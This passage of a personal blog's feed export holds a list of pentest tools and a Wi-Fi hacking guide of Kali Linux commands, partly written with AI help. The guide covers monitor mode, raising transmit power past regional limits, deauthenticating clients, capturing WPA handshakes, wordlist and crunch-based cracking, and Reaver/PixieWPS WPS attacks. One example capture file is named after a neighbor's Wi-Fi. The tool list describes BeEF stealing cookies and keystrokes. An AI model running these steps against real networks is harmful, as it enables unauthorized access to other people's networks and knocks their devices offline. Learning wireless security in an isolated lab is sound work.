  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<blockquote>
  <p><strong>Note:</strong> These are my early notes from 2016 when I was learning penetration testing. Some tools have evolved, but the fundamentals remain the same.</p>
</blockquote>

<p>Diving into cybersecurity was one of the most challenging but rewarding things I’ve done. Here’s what I learned setting up my Kali Linux environment and the essential tools I used.</p>

<h2 id="security-tools-i-actually-used">Security Tools I Actually Used</h2>

<p>Here’s where the real work begins. These are tools I actually spent time learning and using.</p>

<h3 id="web-application-testing">Web Application Testing</h3>

<ul>
  <li><a href="/skills/?tag=Burp+Suite" class="cv-skill-tag" data-skill="Burp Suite">Burp Suite</a></li>
  <li>
    <p>The industry standard intercepting proxy. Intercepts HTTP traffic between your browser and the target, lets you modify requests, repeat them, and find vulnerabilities. Essential for any web app testing.</p>
  </li>
  <li><a href="/skills/?tag=OWASP+Zap" class="cv-skill-tag" data-skill="OWASP Zap">OWASP Zap</a></li>
  <li>
    <p>Free alternative to Burp. Great for automated scanning and finding common vulnerabilities like XSS and SQL injection. Good starting point for beginners.</p>
  </li>
  <li><a href="/skills/?tag=sqlmap" class="cv-skill-tag" data-skill="sqlmap">sqlmap</a></li>
  <li>
    <p>Automated SQL injection tool. Give it a URL with a vulnerable parameter and it does the rest - enumerates databases, extracts data, even gains shell access in some cases.</p>
  </li>
  <li><a href="/skills/?tag=Dirb%2FDirbuster" class="cv-skill-tag" data-skill="Dirb/Dirbuster">Dirb/Dirbuster</a></li>
  <li>Directory brute-forcing. Finds hidden directories and files on web servers by trying thousands of common paths. First step in any web assessment.</li>
</ul>

<h3 id="post-exploitation">Post-Exploitation</h3>

<ul>
  <li><a href="/skills/?tag=Beef+Framework" class="cv-skill-tag" data-skill="Beef Framework">Beef Framework</a></li>
  <li>Browser exploitation. Hooks victim browsers and executes JavaScript, allowing you to steal cookies, capture keystrokes, and pivot to other systems.</li>
</ul>

<ol>
  <li><a href="/skills/?tag=Nmap%2FZenmap" class="cv-skill-tag" data-skill="Nmap/Zenmap">Nmap/Zenmap</a>
    <ul>
      <li>Network scanning. Know your targets before attacking.</li>
    </ul>
  </li>
  <li><a href="/skills/?tag=Metasploit" class="cv-skill-tag" data-skill="Metasploit">Metasploit</a>
    <ul>
      <li>The exploitation framework. Industry standard.</li>
    </ul>
  </li>
  <li><a href="/skills/?tag=Wireshark" class="cv-skill-tag" data-skill="Wireshark">Wireshark</a>
    <ul>
      <li>Packet analysis. Understand what’s happening on the wire.</li>
    </ul>
  </li>
  <li><a href="/skills/?tag=Burp+Suite" class="cv-skill-tag" data-skill="Burp Suite">Burp Suite</a>
    <ul>
      <li>Web testing. Every web pentester needs this.</li>
    </ul>
  </li>
  <li><a href="/skills/?tag=John+the+Ripper" class="cv-skill-tag" data-skill="John the Ripper">John the Ripper</a>
    <ul>
      <li>Password cracking. Essential for privilege escalation.</li>
    </ul>
  </li>
  <li><a href="/skills/?tag=Hydra" class="cv-skill-tag" data-skill="Hydra">Hydra</a>
    <ul>
      <li>Login brute-forcing. Test weak credentials.</li>
    </ul>
  </li>
</ol>

<h2 id="what-i-learned">What I Learned</h2>
<ul>
  <li>Always have a lab network isolated from production</li>
  <li>Document everything - you’ll forget the details later</li>
  <li>Python and Bash are your best friends for automation</li>
  <li>Don’t just run tools - understand how they work</li>
  <li>Networking fundamentals are crucial</li>
</ul>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Security" /><category term="Hacking" /><category term="Penetration-Testing" /><category term="Kali-Linux" /><category term="Security-Tools" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">Wi-Fi Hacking Guide (Kali Linux 2.0)</title><link href="https://el-musleh.github.io/security/hacking/Hack-WiFi-using-(Kali-Linux-2.0)/" rel="alternate" type="text/html" title="Wi-Fi Hacking Guide (Kali Linux 2.0)" /><published>2015-03-14T00:00:00+01:00</published><updated>2015-03-14T00:00:00+01:00</updated><id>https://el-musleh.github.io/security/hacking/Hack-WiFi-using-(Kali-Linux-2.0)</id><content type="html" xml:base="https://el-musleh.github.io/security/hacking/Hack-WiFi-using-(Kali-Linux-2.0)/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<p>Learn about <a href="https://www.kali.org/tools/aircrack-ng/"><a href="/skills/?tag=aircrack-ng" class="cv-skill-tag" data-skill="aircrack-ng">aircrack-ng</a>
</a></p>

<h1 id="learn">learn</h1>
<h2 id="common-attack-techniques">Common Attack Techniques</h2>

<h3 id="network-attacks-educational">Network Attacks (Educational)</h3>

<ul>
  <li>
    <p>**<a href="/skills/?tag=airodump-ng" class="cv-skill-tag" data-skill="airodump-ng">airodump-ng</a>
** - <a href="/skills/?tag=WiFi" class="cv-skill-tag" data-skill="WiFi">WiFi</a>
 packet sniffer. Captures packets in <a href="/skills/?tag=monitor+mode" class="cv-skill-tag" data-skill="monitor mode">monitor mode</a>
 to discover networks and clients. First step in any wireless assessment.</p>
  </li>
  <li>
    <p>**<a href="/skills/?tag=aireplay-ng" class="cv-skill-tag" data-skill="aireplay-ng">aireplay-ng</a>
** - <a href="/skills/?tag=Packet+injection" class="cv-skill-tag" data-skill="Packet injection">Packet injection</a>
 tool. Injects packets into wireless networks to trigger responses, useful for cracking <a href="/skills/?tag=WEP" class="cv-skill-tag" data-skill="WEP">WEP</a>
 or <a href="/skills/?tag=deauth" class="cv-skill-tag" data-skill="deauth">deauth</a>
 attacks.</p>
  </li>
  <li>**<a href="/skills/?tag=ARP+spoofing" class="cv-skill-tag" data-skill="ARP spoofing">ARP spoofing</a>
** with <a href="/skills/?tag=arpspoof" class="cv-skill-tag" data-skill="arpspoof">arpspoof</a></li>
  <li>
    <p><a href="/skills/?tag=Man-in-the-middle" class="cv-skill-tag" data-skill="Man-in-the-middle">Man-in-the-middle</a>
 basics. Tricks devices into sending traffic through your machine by spoofing <a href="/skills/?tag=ARP+tables" class="cv-skill-tag" data-skill="ARP tables">ARP tables</a>
. Foundation for many network attacks.</p>
  </li>
  <li>**<a href="/skills/?tag=bettercap" class="cv-skill-tag" data-skill="bettercap">bettercap</a>
** - Modern Swiss army knife for network attacks. Does <a href="/skills/?tag=ARP+spoofing" class="cv-skill-tag" data-skill="ARP spoofing">ARP spoofing</a>
, <a href="/skills/?tag=SSL+stripping" class="cv-skill-tag" data-skill="SSL stripping">SSL stripping</a>
, <a href="/skills/?tag=packet+sniffing" class="cv-skill-tag" data-skill="packet sniffing">packet sniffing</a>
, and more. More powerful than individual tools.</li>
</ul>

<h3 id="wifi-security">WiFi Security</h3>
<ul>
  <li><strong>Monitor mode</strong> - Putting your wireless card into monitor mode lets you capture packets without connecting to a network</li>
  <li><strong>Packet injection</strong> - Sending crafted packets to trigger responses or crack encryption</li>
  <li><strong>WEP/WPA cracking</strong> - Capturing handshakes and brute-forcing passwords</li>
</ul>

<h1 id="initial-setup--monitor-mode">Initial Setup &amp; Monitor Mode</h1>
<p>Use these commands to prepare your interface and power up the Wi-Fi card to capture handshakes.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Get root access</span>
<span class="nb">sudo </span>su
<span class="c"># Set region and increase TX power (Important for handshake)</span>
iw reg <span class="nb">set </span>GY
<span class="c"># default txpower is 30</span>
<span class="c"># BEFORE WE START WE NEED TO POWER UP WIFI CARD IN MY LAPTOP TO GET HANDSHAKE... (IMPORTANT)</span>
iwconfig wlan0 txpower 70
<span class="c"># Need &lt;aireplay-ng&gt; and &lt;airmon-ng&gt; to search and Fix the wifi signal. </span>
<span class="c"># [interface] is mon0 or wlan0 or wlan0mon</span>
<span class="c"># this command is extra $ aireplay-ng --test [interface]</span>
aireplay-ng <span class="nt">--test</span> <span class="o">[</span>interface]
<span class="c"># Stop interfering processes</span>
<span class="c"># in case of other appears like number and name. type: $ kill [number before the name]</span>
airmon-ng check <span class="nb">kill</span>
<span class="c"># Start monitor mode</span>
airmon-ng start wlan0
</code></pre></div></div>

<h1 id="scanning--capturing-handshake">Scanning &amp; Capturing Handshake</h1>

<p>Identify your target and deauthenticate users to capture the WPA handshake.
WE CAN’T DO aircrack-ng until we get handshake. for hacking Wi-Fi we want to reach handshake to get password before using last command</p>

<h1 id="need-to-use--and--and-">Need to use <airodump-ng> and <aireplay-ng> and <aircrack-ng></aircrack-ng></aireplay-ng></airodump-ng></h1>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Scan for networks. wlan0mon is the [interface] </span>
airodump-ng <span class="o">[</span>interface] 
<span class="c"># Target a specific BSSID and Channel to save data</span>
<span class="c"># If the ESSID name contain space or other symbol, put it in coutation double qoutations (e.g. Free Palestine will be "Free Palestine".)</span>
<span class="c"># If the ESSID is a hidden name, then use "&lt;length:1&gt;" for ESSID.</span>
airodump-ng <span class="nt">-c</span> &lt;channel number&gt; <span class="nt">-w</span> &lt;ESSID&gt; <span class="nt">--bssid</span> &lt;BSSID&gt; <span class="o">[</span>interface] 
<span class="c"># Force deauthentication (Open in new terminal)</span>
airodump-ng <span class="o">[</span>interface] <span class="nt">-c</span> &lt;channel number&gt; <span class="nt">--bssid</span> &lt;BSSID&gt; <span class="nt">-w</span> &lt;<span class="o">[</span>choose a folder path] + <span class="s2">"/wpa2psk"</span><span class="o">&gt;</span>
<span class="c"># it creates .cap file needed next. This will save the data and you can use it anytime to get the password.</span>
<span class="c"># if you didn't create folder to save on, no problem it just work one time &lt;Live&gt;. if you want to do it again save it.</span>
<span class="c"># Note after drag the file and add /wpa2psk remove the quotation mark symbol "" at the start and at the end.</span>
<span class="c"># case 1</span>
airodump-ng <span class="nt">-w</span> &lt;The ESSID&gt; <span class="nt">--bssid</span> &lt;The BSSID&gt; <span class="o">[</span>interface] <span class="nt">-c-</span>&lt;channel no.&gt;
<span class="c"># case 2</span>
airodump-ng <span class="nt">-w</span> <span class="nb">test</span> <span class="nt">--bssid</span> &lt;The BSSID&gt; <span class="nt">--essid</span> &lt;The ESSID&gt; <span class="nt">--channel</span> &lt;channel no.&gt; <span class="o">[</span>interface]
<span class="c"># case 3</span>
airodump-ng <span class="nt">-c</span> <span class="o">[</span>channel] –bssid <span class="o">[</span>bssid] <span class="nt">-w</span> /root/Desktop/ <span class="o">[</span>interface]
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Open new Terminal, Don't try many channel at the same time leading error.</span>
<span class="c"># Don't change now the BSSID or ESSID.</span>
<span class="c"># If any error appears just re-write the same code.</span>
<span class="c"># Don't stop channel and station Terminal.</span>
<span class="c"># as much as the save file get data it will take less time to get password.</span>
<span class="c"># if you want to know -0 or --deauth want to do check: $ aireplay-ng --help</span>
<span class="c"># --deauth count: deauthenticate 1 or all stations (-0)</span>
<span class="c"># aireplay-ng command uses it in case HANDSHAKE not appears yet.</span>
aireplay-ng <span class="nt">--deauth</span> &lt;number you want to <span class="nb">test</span><span class="o">&gt;</span> <span class="nt">-a</span> &lt;BSSID&gt; <span class="nt">-c</span> &lt;Station_MAC&gt; <span class="o">[</span>interface]
<span class="c"># Alternative</span>
aireplay-ng <span class="nt">-0</span> <span class="o">[</span>number you want to try] <span class="nt">-a</span> <span class="o">[</span>bssid main] <span class="nt">-c</span> <span class="o">[</span>STATION bssid] <span class="o">[</span>interface]
<span class="c"># Case 1</span>
aireplay-ng <span class="nt">--deauth</span> &lt;number you want to <span class="nb">test</span><span class="o">&gt;</span> <span class="nt">-a</span> &lt;The BSSID&gt; <span class="o">[</span>interface]
<span class="c"># Case 2</span>
aireplay-ng <span class="nt">-0</span> &lt;number of <span class="c">#/s or rate IDK&gt; -a &lt;The BSSID&gt; -e &lt;The ESSID&gt; -c &lt;The STATION&gt; [interface]</span>
<span class="c"># Case 3</span>
aireplay-ng &lt;channel <span class="nb">read </span>down example: <span class="nt">-1</span> <span class="o">&gt;</span> &lt; delay <span class="o">{&gt;=</span>0<span class="o">}</span>:0&gt; <span class="nt">-a</span> &lt;BSSID&gt; <span class="o">[</span>interface]
<span class="c"># Case 4</span>
aireplay-ng <span class="nt">-h</span> &lt;The STATION&gt; &lt;channel <span class="nb">read </span>down example: <span class="nt">-1</span><span class="o">&gt;</span> &lt; delay <span class="o">{&gt;=</span>0<span class="o">}</span>:0&gt; <span class="nt">-a</span> &lt;The BSSID&gt; <span class="nt">-e</span> &lt;The ESSID&gt; <span class="o">[</span>interface]
<span class="c"># Case 5</span>
aireplay-ng –0 2 –a <span class="o">[</span>bssid] –c <span class="o">[</span>STATION bssid] <span class="o">[</span>interface]
</code></pre></div></div>
<p>Determine current channel for &lt;mon0/wlan0/wlan0mon&gt;.
force the operation with –ignore-negative-one or apply a kernel patch.
Open new Terminal, Don’t stop the Station Windows until you have many beacon.
stop the terminal as soon as you get handshake, then go to next command.
handshake appears on the top at right side.
-a <amode>: force attack mode (1/WEP, 2/WPA-PSK)
About Creating a dictionary &gt; check down for more info.</amode></p>

<h1 id="cracking-the-password">Cracking the Password</h1>

<p>Once you see “WPA handshake” in the top right of your terminal, use a dictionary to crack the <code class="language-plaintext highlighter-rouge">.cap</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aircrack-ng <span class="nt">-a</span>&lt;1/2&gt; <span class="nt">-b</span> <span class="o">[</span>bssid main] –w <span class="o">[</span>the dictionary as .txt] <span class="o">[</span>TEST1 the folder we created inside <span class="o">&gt;</span> dragging file as .cap without <span class="s2">""</span><span class="o">]</span>
<span class="c"># Case 1</span>
aircrack-ng &lt;drag the <span class="s2">"wpa2psk-01.cap"</span> this inside <span class="o">{</span>Created a folder<span class="o">}&gt;</span> <span class="nt">-w</span> &lt;drag Dictionary as test_test.text&gt;
<span class="c"># Case 2</span>
aircrack-ng <span class="nt">-w</span> &lt;custom_WPA&gt;, &lt;drag Dictionary as test_test.text&gt; <span class="nb">test</span> <span class="nt">-01</span>.cap
<span class="c"># Case 3</span>
aircrack-ng ADSL7943-01.cp
<span class="c"># Case 4</span>
aircrack-ng <span class="nt">-w</span> &lt;Dictionary&gt; <span class="nt">-b</span> &lt;The BSSID&gt; crack-wpa-01.ca
<span class="c"># Case 5</span>
aircrack-ng <span class="nt">-w</span> root/Documents/wordlists/goodluck.txt Neighborswifi_B8-87-1F-.cap
<span class="c"># Case 6</span>
aircrack-ng <span class="nt">-a2</span> <span class="nt">-b</span> <span class="o">[</span>bssid] –w /root/wpa.txt /root/Desktop/<span class="k">*</span>.cap

<span class="c"># Use aircrack-ng with a wordlist</span>
aircrack-ng <span class="nt">-a</span> 2 <span class="nt">-b</span> &lt;BSSID&gt; <span class="nt">-w</span> &lt;wordlist.txt&gt; &lt;capture_file.cap&gt;
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Restart network manager after finished</span>
service network-manager restart
</code></pre></div></div>

<h1 id="crunchaircrack">Crunch+aircrack</h1>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example using crunch for real-time generation</span>
crunch 8 8 0123456789 | aircrack-ng <span class="nt">-a</span> 2 <span class="nt">-b</span> &lt;BSSID&gt; <span class="nt">-w</span> - &lt;capture_file.cap&gt;
</code></pre></div></div>
<p>https://forums.kali.org/showthread.php?18261-Cracking-WPA-key-with-crunch-aircrack-%28almost-fullproof-but-how-speed-things-up%29</p>

<p>The command for aircrack-ng goes as follows: [No need to internet]</p>

<p>with crunch:
$crunch x X “put characters you want here” | aircrack-ng “drag .cap file here” -w - -e “essid goes here”</p>

<p>with john the ripper:
$john -stdout -incremental:all | aircrack-ng “drag .cap file here” -w - -e “essid goes here”</p>

<p>with pyrit:
$crunch  x X “put characters you want here” | pyrit -r capture-03.cap -b xx:xx:xx:xx:xx:xx -i - attack_passthrough</p>

<p>The following command can be used to start Aircrack-ng with input from Crunch:</p>

<table>
  <tbody>
    <tr>
      <td>$crunch 8 8</td>
      <td>aircrack-ng -e [ESSID] -w – [file path to the .cap file]</td>
    </tr>
  </tbody>
</table>

<p>How Long Will It Take?</p>

<p>This process can be relatively slow and tedious. Depending upon the length of your password list, you could be waiting a few minutes to a few days. On my dual core 2.8 gig Intel processor, it’s capable of testing a little over 500 passwords per second. That works out to about 1.8 million passwords per hour. Your results will vary.</p>

<p>When the password is found, it’ll appear on your screen. Remember, the password file is critical. Try the default password file first and if it’s not successful, advance to a larger, more complete password file such as one of these.</p>

<p>Others:
$crunch 8 8 0123456789 | aircrack-ng -a 2 ‘HOME-TC-FILE-CAP’ -e ‘ESSID’ -b ‘HANDSHAKE’ -w -</p>
<blockquote>
  <p>http://xiaopan.co/forums/downloads/
$crunch 0 25 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng –bssid aa:aa:aa:aa:aa:aa -w- handshakefile.cap</p>
</blockquote>

<h1 id="wps-method-alternative">WPS Method (Alternative)</h1>

<p>For routers with WPS enabled, use Reaver or PixieWPS.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find WPS enabled networks</span>
wash <span class="nt">-i</span> wlan0mon <span class="nt">-C</span>
<span class="c"># Start Reaver attack</span>
reaver <span class="nt">-i</span> wlan0mon <span class="nt">-c</span> &lt;channel&gt; <span class="nt">-b</span> &lt;BSSID&gt; <span class="nt">-vv</span>
<span class="c"># Use PixieWPS for faster cracking</span>
pixiewps <span class="nt">-e</span> &lt;pke&gt; <span class="nt">-r</span> &lt;pkr&gt; <span class="nt">-s</span> &lt;hash1&gt; <span class="nt">-z</span> &lt;hash2&gt; <span class="nt">-a</span> &lt;authkey&gt; <span class="nt">-n</span> &lt;enonce&gt; <span class="nt">-m</span> &lt;rnonce&gt; <span class="nt">-b</span> &lt;bssid&gt; <span class="nt">-v</span> 3

</code></pre></div></div>

<hr />

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># aircrack-ng -a2 -b C4:6E:1F:7A:A3:1A -w /root/wpa.txt</span>
/root/Desktop/hack_wifi/wpa2psk-01.cap
fopen<span class="o">(</span>dictionary<span class="o">)</span> failed: No such file or directory
fopen<span class="o">(</span>dictionary<span class="o">)</span> failed: No such file or directory
Please specify a dictionary <span class="o">(</span>option <span class="nt">-w</span><span class="o">)</span><span class="nb">.</span>
Quitting aircrack-ng...
<span class="c">#crunch 8 8 0123456789 -l | sudo aircrack-ng --bssid C4:6E:1F:7A:A3:1A -w-</span>
/root/Desktop/hack_wifi/wpa2psk-01.cap
Please specify a list of characters you want to treat as literal @?%^
Opening /root/Desktop/hack_wifi/wpa2psk-01.cap
No valid WPA handshakes found.
Quitting aircrack-ng...
<span class="c"># aircrack-ng -a2 -b C4:6E:1F:7A:A3:1A -w /root/Desktop/BIG-WPA-LIST-2</span>
/root/Desktop/hack_wifi/wpa2psk-01.cap
Opening /root/Desktop/hack_wifi/wpa2psk-01.cap
No valid WPA handshakes found.
</code></pre></div></div>

<p>Watch the Video (it was taken down by YouTube years ago):</p>

<video width="100%" height="auto" controls="" preload="metadata" style="max-width: 800px;">
  <source src="/files/posts/2017-03-14-Hack-WiFi-using-(Kali-Linux-2.0)/Hack WiFi by (Kali Linux 2.0) 100%25 - YouTube.mp4" type="video/mp4" />
  Your browser does not support the video tag. <a href="/files/posts/2017-03-14-Hack-WiFi-using-(Kali-Linux-2.0)/Hack WiFi by (Kali Linux 2.0) 100% - YouTube.mp4">Download the video</a>.
</video>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Security" /><category term="Hacking" /><category term="Penetration Testing" /><category term="Kali Linux" /><category term="Security Tools" /><category term="WiFi Hacking" /><category term="Aircrack-ng" /><category term="Network Security" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry></feed>